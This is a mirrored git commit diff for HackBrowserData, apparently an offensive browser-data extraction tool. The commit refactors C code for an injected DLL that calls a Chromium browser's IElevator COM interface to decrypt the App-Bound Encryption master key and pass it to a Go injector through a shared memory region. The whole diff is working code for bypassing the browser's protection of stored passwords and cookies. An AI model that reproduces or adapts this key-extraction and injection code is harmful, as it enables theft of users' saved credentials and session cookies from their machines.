mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-08-17 23:57:12 +02:00
refactor(windows): clean up Chrome ABE module (#574)
* refactor(abe): remove --abe-key flag and its global state * refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <objbase.h>
|
||||
@@ -12,7 +10,17 @@
|
||||
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
|
||||
#define ENV_ENC_MAX 8192
|
||||
|
||||
typedef struct {
|
||||
HRESULT hr; // last COM HRESULT (0 on success)
|
||||
DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths)
|
||||
BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success)
|
||||
BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns.
|
||||
} extract_result;
|
||||
|
||||
static void DoExtractKey(BYTE *imageBase);
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids);
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain);
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr);
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
|
||||
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
|
||||
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
|
||||
@@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the
|
||||
// browser identity from the hosting exe, delegates the key-extraction work
|
||||
// to extract_key_inner, and publishes either the master key or a structured
|
||||
// error into the scratch region the Go injector reads.
|
||||
static void DoExtractKey(BYTE *imageBase)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(hr);
|
||||
HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(initHr);
|
||||
|
||||
char exeBasename[MAX_PATH];
|
||||
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BASENAME, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
|
||||
if (!ids) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
extract_result r = extract_key_inner(ids);
|
||||
|
||||
if (r.errCode == ABE_ERR_OK && r.plain != NULL &&
|
||||
SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) {
|
||||
publish_key(imageBase, (const BYTE *)r.plain);
|
||||
} else if (r.errCode == ABE_ERR_OK && r.plain != NULL) {
|
||||
// COM call succeeded but returned wrong length.
|
||||
publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0);
|
||||
} else {
|
||||
publish_error(imageBase, r.errCode, r.hr, r.comErr);
|
||||
}
|
||||
|
||||
if (r.plain) {
|
||||
SecureZeroMemory(r.plain, SysStringByteLen(r.plain));
|
||||
SysFreeString(r.plain);
|
||||
}
|
||||
|
||||
out:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
// extract_key_inner owns a single resource (bstrEnc) and uses early returns;
|
||||
// successful exit hands the plaintext BSTR to the caller.
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids)
|
||||
{
|
||||
extract_result r = {0, 0, ABE_ERR_OK, NULL};
|
||||
|
||||
char envEnc[ENV_ENC_MAX];
|
||||
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
|
||||
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_ENV_MISSING;
|
||||
return r;
|
||||
}
|
||||
|
||||
BYTE encKey[ENV_ENC_MAX];
|
||||
DWORD encKeyLen = ENV_ENC_MAX;
|
||||
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
|
||||
goto cleanup_com;
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
r.errCode = ABE_ERR_BASE64;
|
||||
return r;
|
||||
}
|
||||
|
||||
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
if (!bstrEnc) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_BSTR_ALLOC;
|
||||
return r;
|
||||
}
|
||||
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1.
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1. Try v2
|
||||
// first (when declared), fall back to v1.
|
||||
IUnknown *pObj = NULL;
|
||||
HRESULT hr = S_OK;
|
||||
if (ids->has_iid_v2) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v2, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v1, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
goto free_enc;
|
||||
SysFreeString(bstrEnc);
|
||||
r.hr = hr;
|
||||
r.errCode = ABE_ERR_COM_CREATE;
|
||||
return r;
|
||||
}
|
||||
|
||||
CoSetProxyBlanket(pObj,
|
||||
@@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase)
|
||||
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
|
||||
bstrEnc, &bstrPlain, &comErr);
|
||||
pObj->lpVtbl->Release(pObj);
|
||||
|
||||
if (SUCCEEDED(hr) && bstrPlain) {
|
||||
UINT plainLen = SysStringByteLen(bstrPlain);
|
||||
if (plainLen == BOOTSTRAP_KEY_LEN) {
|
||||
// Write key before status; Go reads key only after status==READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
SecureZeroMemory(bstrPlain, plainLen);
|
||||
SysFreeString(bstrPlain);
|
||||
}
|
||||
|
||||
free_enc:
|
||||
SysFreeString(bstrEnc);
|
||||
|
||||
cleanup_com:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
if (FAILED(hr) || bstrPlain == NULL) {
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_DECRYPT_DATA;
|
||||
return r;
|
||||
}
|
||||
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_OK;
|
||||
r.plain = bstrPlain;
|
||||
return r;
|
||||
}
|
||||
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain)
|
||||
{
|
||||
// Write key before status; Go reads key only after status == READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr)
|
||||
{
|
||||
*(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr;
|
||||
}
|
||||
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
|
||||
|
||||
Reference in New Issue
Block a user